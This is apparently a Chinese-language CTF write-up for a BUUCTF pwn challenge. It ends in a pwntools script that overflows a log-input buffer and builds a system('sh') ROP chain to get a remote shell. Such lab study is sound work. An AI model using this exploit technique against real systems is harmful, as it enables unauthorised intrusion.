1. 背景分析
目标程序是一个存在漏洞的二进制文件,我们可以通过以下方式利用漏洞获取 shell:
-
程序中存在
system()
函数,但没有明显的/bin/sh
字符串。 -
使用工具(如
ROPgadget
)发现程序中有sh
字符串,可以利用它作为system()
的参数。 -
程序的交互逻辑需要先输入密码,然后选择操作,最后通过溢出漏洞触发 ROP 链。
2. 具体步骤
步骤 1:确定偏移量
通过分析程序的漏洞点(例如通过格式化字符串漏洞或堆溢出漏洞),找到可以覆盖返回地址的偏移量。假设偏移量为 0x48 + 4
。
步骤 2:查找关键地址
使用工具(如 ROPgadget
或 IDA Pro
)查找以下地址:
-
system()
函数的地址。 -
main()
函数的地址(用于防止程序崩溃)。 -
sh
字符串的地址。
示例命令:
bash复制
ROPgadget --binary ./zzz --search "system"
ROPgadget --binary ./zzz --search "sh"
假设:
-
system()
的地址为0x08048430
-
main()
的地址为0x08048500
-
sh
的地址为0x08048123
步骤 3:交互流程
程序的交互逻辑如下:
-
程序提示输入管理员密码。
-
程序提供选项,需要选择
1
添加 log。 -
程序提示输入新的 log,此时发送构造的 ROP 链。
-
再次选择操作,选择
4
触发漏洞。
步骤 4:构造 ROP 链
根据上述地址和偏移量,构造 ROP 链:
-
填充到返回地址的偏移量。
-
覆盖返回地址为
system()
的地址。 -
在
system()
返回后跳转到main()
,防止程序崩溃。 -
将
sh
的地址作为system()
的参数。
步骤 5:发送 ROP 链并触发漏洞
通过网络交互,发送构造的 ROP 链,并触发漏洞。
第一个条件s1 == 'administrator'

ADDLog():我们看到这里是输入log,跟我们的flag有关系
a1是我们外面传进来的src = 48,读取128个就造成了溢出
from pwn import *
context(os = 'linux',arch = 'i386',log_level = 'debug')
content = 0
elf = ELF('./zzz')
def main():
if content == 1:
p = process('zzz')
else:
p =remote('node5.buuoj.cn',25739)
#0x080482ea : sh
sh_addr = 0x080482ea
system_addr = elf.sym['system']
payload = b'a' * (0x48+0x4) + p32(system_addr) + b'aaaa' + p32(sh_addr)
p.sendlineafter("Please input admin password:",'administrator')
p.sendlineafter("0.Exit\n:",'1')
p.sendlineafter("Please input new log info:",payload)
p.sendlineafter("0.Exit\n:",'4')
p.interactive()
main()